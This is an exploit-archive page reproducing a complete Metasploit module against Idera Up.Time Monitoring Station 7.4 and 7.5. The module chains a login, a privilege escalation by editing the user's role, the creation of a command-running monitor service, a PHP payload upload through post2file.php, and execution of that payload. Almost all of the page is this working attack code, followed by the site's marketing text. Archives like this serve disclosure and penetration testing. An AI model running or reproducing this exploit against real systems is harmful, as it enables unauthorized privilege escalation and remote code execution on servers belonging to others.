Lucene search
K

Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload Version 2

🗓️ 13 Nov 2015 00:00:00Reported by Denis AndzakovicType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 34 Views

Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload Version 2 This module exploits a vulnerability found in Uptime version 7.4.0 and 7.5.0. The vulnerability began as a classic arbitrary file upload vulnerability in post2file.php, which can be exploited by exploits/multi/http/uptime_file_upload_1.rb, but it was mitigated by the vendor. Although the mitigation in place will prevent uptime_file_upload_1.rb from working, it can still be bypassed and gain privilege escalation, and allows the attacker to upload file again, and execute arbitrary commands

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'nokogiri'  
  
class Metasploit4 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::PhpEXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload',  
'Description' => %q{  
This module exploits a vulnerability found in Uptime version 7.4.0 and 7.5.0.  
  
The vulnerability began as a classic arbitrary file upload vulnerability in post2file.php,  
which can be exploited by exploits/multi/http/uptime_file_upload_1.rb, but it was mitigated  
by the vendor.  
  
Although the mitigiation in place will prevent uptime_file_upload_1.rb from working, it  
can still be bypassed and gain privilege escalation, and allows the attacker to upload file  
again, and execute arbitrary commands.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Denis Andzakovic', # Found file upload bug in post2file.php in 2013  
'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>',  
'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>'  
],  
'References' =>  
[  
['EDB', '37888'],  
['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5254.php']  
],  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [['Automatic', {}]],  
'Privileged' => 'true',  
'DefaultTarget' => 0,  
# The post2file.php vuln was reported in 2013 by Denis Andzakovic. And then on Aug 2015,  
# it was discovered again by Ewerson 'Crash' Guimaraes.  
'DisclosureDate' => 'Nov 18 2013'  
))  
  
register_options(  
[  
Opt::RPORT(9999),  
OptString.new('USERNAME', [true, 'The username to authenticate as', 'sample']),  
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'sample'])  
], self.class)  
  
register_advanced_options(  
[  
OptString.new('UptimeWindowsDirectory', [true, 'Uptime installation path for Windows', 'C:\\Program Files\\uptime software\\']),  
OptString.new('UptimeLinuxDirectory', [true, 'Uptime installation path for Linux', '/usr/local/uptime/']),  
OptString.new('CmdPath', [true, 'Path to cmd.exe', 'c:\\windows\\system32\\cmd.exe'])  
], self.class)  
end  
  
def print_status(msg='')  
super("#{rhost}:#{rport} - #{msg}")  
end  
  
def print_error(msg='')  
super("#{rhost}:#{rport} - #{msg}")  
end  
  
def print_good(msg='')  
super("#{rhost}:#{rport} - #{msg}")  
end  
  
# Application Check  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
)  
  
unless res  
vprint_error("Connection timed out.")  
return Exploit::CheckCode::Unknown  
end  
  
n = Nokogiri::HTML(res.body)  
uptime_text = n.at('//ul[@id="uptimeInfo"]//li[contains(text(), "up.time")]')  
  
if uptime_text  
version = uptime_text.text.scan(/up\.time ([\d\.]+)/i).flatten.first  
vprint_status("Found version: #{version}")  
if version >= '7.4.0' && version <= '7.5.0'  
return Exploit::CheckCode::Appears  
end  
end  
  
Exploit::CheckCode::Safe  
end  
  
def create_exec_service(*args)  
cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs = *args  
res_service = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'main.php'),  
'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",  
'vars_get' => {  
'section' => 'ERDCInstance',  
'subsection' => 'add',  
},  
'vars_post' => {  
'initialERDCId' => '20',  
'target' => '1',  
'targetType' => 'systemList',  
'systemList' => '1',  
'serviceGroupList' => '-10',  
'initialMode' => 'standard',  
'erdcName' => 'Exploit',  
'erdcInitialName' => '',  
'erdcDescription' => 'Exploit',  
'hostButton' => 'system',  
'erdc_id' => '20',  
'forceReload' => '0',  
'operation' => 'standard',  
'erdc_instance_id' => '',  
'label_[184]' => 'Script Name',  
'value_[184]' => cmd,  
'id_[184]' => 'process',  
'name_[process]' => '184',  
'units_[184]' => '',  
'guiBasic_[184]' => '1',  
'inputType_[184]' => 'GUIString',  
'screenOrder_[184]' => '1',  
'parmType_[184]' => '1',  
'label_[185]' => 'Arguments',  
'value_[185]' => cmdargs,  
'id_[185]' => 'args',  
'name_[args]' => '185',  
'units_[185]' => '',  
'guiBasic_[185]' => '1',  
'inputType_[185]' => 'GUIString',  
'screenOrder_[185]' => '2',  
'parmType_[185]' => '1',  
'label_[187]' => 'Output',  
'can_retain_[187]' => 'false',  
'comparisonWarn_[187]' => '-1',  
'comparison_[187]' => '-1',  
'id_[187]' => 'value_critical_output',  
'name_[output]' => '187',  
'units_[187]' => '',  
'guiBasic_[187]' => '1',  
'inputType_[187]' => 'GUIString',  
'screenOrder_[187]' => '4',  
'parmType_[187]' => '2',  
'label_[189]' => 'Response time',  
'can_retain_[189]' => 'false',  
'comparisonWarn_[189]' => '-1',  
'comparison_[189]' => '-1',  
'id_[189]' => 'value_critical_timer',  
'name_[timer]' => '189',  
'units_[189]' => 'ms',  
'guiBasic_[189]' => '0',  
'inputType_[189]' => 'GUIInteger',  
'screenOrder_[189]' => '6',  
'parmType_[189]' => '2',  
'timing_[erdc_instance_monitored]' => '1',  
'timing_[timeout]' => '60',  
'timing_[check_interval]' => '10',  
'timing_[recheck_interval]' => '1',  
'timing_[max_rechecks]' => '3',  
'alerting_[notification]' => '1',  
'alerting_[alert_interval]' => '120',  
'alerting_[alert_on_critical]' => '1',  
'alerting_[alert_on_warning]' => '1',  
'alerting_[alert_on_recovery]' => '1',  
'alerting_[alert_on_unknown]' => '1',  
'time_period_id' => '1',  
'pageFinish' => 'Finish',  
'pageContinue' => 'Continue...',  
'isWizard' => '1',  
'wizardPage' => '2',  
'wizardNumPages' => '2',  
'wizardTask' => 'pageFinish',  
'visitedPage[1]' => '1',  
'visitedPage[2]' => '1'  
})  
end  
  
def exploit  
vprint_status('Trying to login...')  
# Application Login  
res_auth = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'vars_post' => {  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
})  
  
unless res_auth  
fail_with(Failure::Unknown, 'Connection timed out while trying to login')  
end  
  
# Check OS  
phpfile_name = rand_text_alpha(10)  
if res_auth.headers['Server'] =~ /Unix/  
vprint_status('Found Linux installation - Setting appropriated PATH')  
phppath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'apache/bin/ph')  
uploadpath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'GUI/wizards')  
  
cmdargs = "#{uploadpath}#{phpfile_name}.txt"  
cmd = phppath  
else  
vprint_status('Found Windows installation - Setting appropriated PATH')  
phppath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'apache\\php\\php.exe')  
uploadpath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'uptime\\GUI\\wizards\\')  
cmd = datastore['CmdPath']  
cmdargs = "/K \"\"#{phppath}\" \"#{uploadpath}#{phpfile_name}.txt\"\""  
end  
  
if res_auth.get_cookies =~ /login=true/  
cookie = Regexp.last_match(1)  
cookie_split = res_auth.get_cookies.split(';')  
vprint_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}")  
print_good('Login success')  
  
# Privilege escalation getting user ID  
res_priv = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'main.php'),  
'vars_get' => {  
'page' => 'Users',  
'subPage' => 'UserContainer'  
},  
'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}"  
)  
  
unless res_priv  
fail_with(Failure::Unknown, 'Connection timed out while getting userID.')  
end  
  
matchdata = res_priv.body.match(/UPTIME\.CurrentUser\.userId\.*/)  
  
unless matchdata  
fail_with(Failure::Unknown, 'Unable to find userID for escalation')  
end  
  
get_id = matchdata[0].gsub(/[^\d]/, '')  
vprint_status('Escalating privileges...')  
  
# Privilege escalation post  
res_priv_elev = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'main.php'),  
'vars_get' => {  
'section' => 'UserContainer',  
'subsection' => 'edit',  
'id' => "#{get_id}"  
},  
'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",  
'vars_post' => {  
'operation' => 'submit',  
'disableEditOfUsernameRoleGroup' => 'false',  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'passwordConfirm' => datastore['PASSWORD'],  
'firstname' => rand_text_alpha(10),  
'lastname' => rand_text_alpha(10),  
'location' => '',  
'emailaddress' => '',  
'emailtimeperiodid' => '1',  
'phonenumber' => '',  
'phonenumbertimeperiodid' => '1',  
'windowshost' => '',  
'windowsworkgroup' => '',  
'windowspopuptimeperiodid' => '1',  
'landingpage' => 'MyPortal',  
'isonvacation' => '0',  
'receivealerts' => '0',  
'activexgraphs' => '0',  
'newuser' => 'on',  
'newuser' => '1',  
'userroleid' => '1',  
'usergroupid[]' => '1'  
}  
)  
  
unless res_priv_elev  
fail_with(Failure::Unknown, 'Connection timed out while escalating...')  
end  
  
# Refresing perms  
vprint_status('Refreshing perms...')  
res_priv = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.php?loggedout'),  
'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}"  
)  
  
unless res_priv  
fail_with(Failure::Unknown, 'Connection timed out while refreshing perms')  
end  
  
res_auth = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'vars_post' => {  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
}  
)  
  
unless res_auth  
fail_with(Failure::Unknown, 'Connection timed out while authenticating...')  
end  
  
if res_auth.get_cookies =~ /login=true/  
cookie = Regexp.last_match(1)  
cookie_split = res_auth.get_cookies.split(';')  
vprint_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}")  
print_good('Priv. Escalation success')  
end  
  
# CREATING Linux EXEC Service  
if res_auth.headers['Server'] =~ /Unix/  
vprint_status('Creating Linux Monitor Code exec...')  
create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs)  
  
else  
# CREATING Windows EXEC Service#  
vprint_status('Creating Windows Monitor Code exec...')  
create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs)  
end  
  
# Upload file  
vprint_status('Uploading file...')  
up_res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'wizards', 'post2file.php'),  
'vars_post' => {  
'file_name' => "#{phpfile_name}.txt",  
'script' => payload.encoded  
}  
)  
  
unless up_res  
fail_with(Failure::Unknown, 'Connection timed out while uploading file.')  
end  
  
vprint_status('Checking Uploaded file...')  
res_up_check = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'wizards', "#{phpfile_name}.txt")  
)  
  
if res_up_check && res_up_check.code == 200  
print_good("File found: #{phpfile_name}")  
else  
print_error('File not found')  
return  
end  
  
# Get Monitor ID  
  
vprint_status('Fetching Monitor ID...')  
res_mon_id = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'ajax', 'jsonQuery.php'),  
'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",  
'vars_get' => {  
'query' => 'GET_SERVICE_PAGE_ERDC_LIST',  
'iDisplayStart' => '0',  
'iDisplayLength' => '10',  
'sSearch' => 'Exploit'  
}  
)  
  
unless res_mon_id  
fail_with(Failure::Unknown, 'Connection timed out while fetching monitor ID')  
end  
  
matchdata = res_mon_id.body.match(/id=?[^>]*>/)  
  
unless matchdata  
fail_with(Failure::Unknown, 'No monitor ID found in HTML body. Unable to continue.')  
end  
  
mon_get_id = matchdata[0].gsub(/[^\d]/, '')  
print_good("Monitor id aquired:#{mon_get_id}")  
# Executing monitor  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'main.php'),  
'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",  
'vars_post' => {  
'section' => 'RunERDCInstance',  
'subsection' => 'view',  
'id' => mon_get_id,  
'name' => 'Exploit'  
}  
)  
else  
print_error('Cookie not found')  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation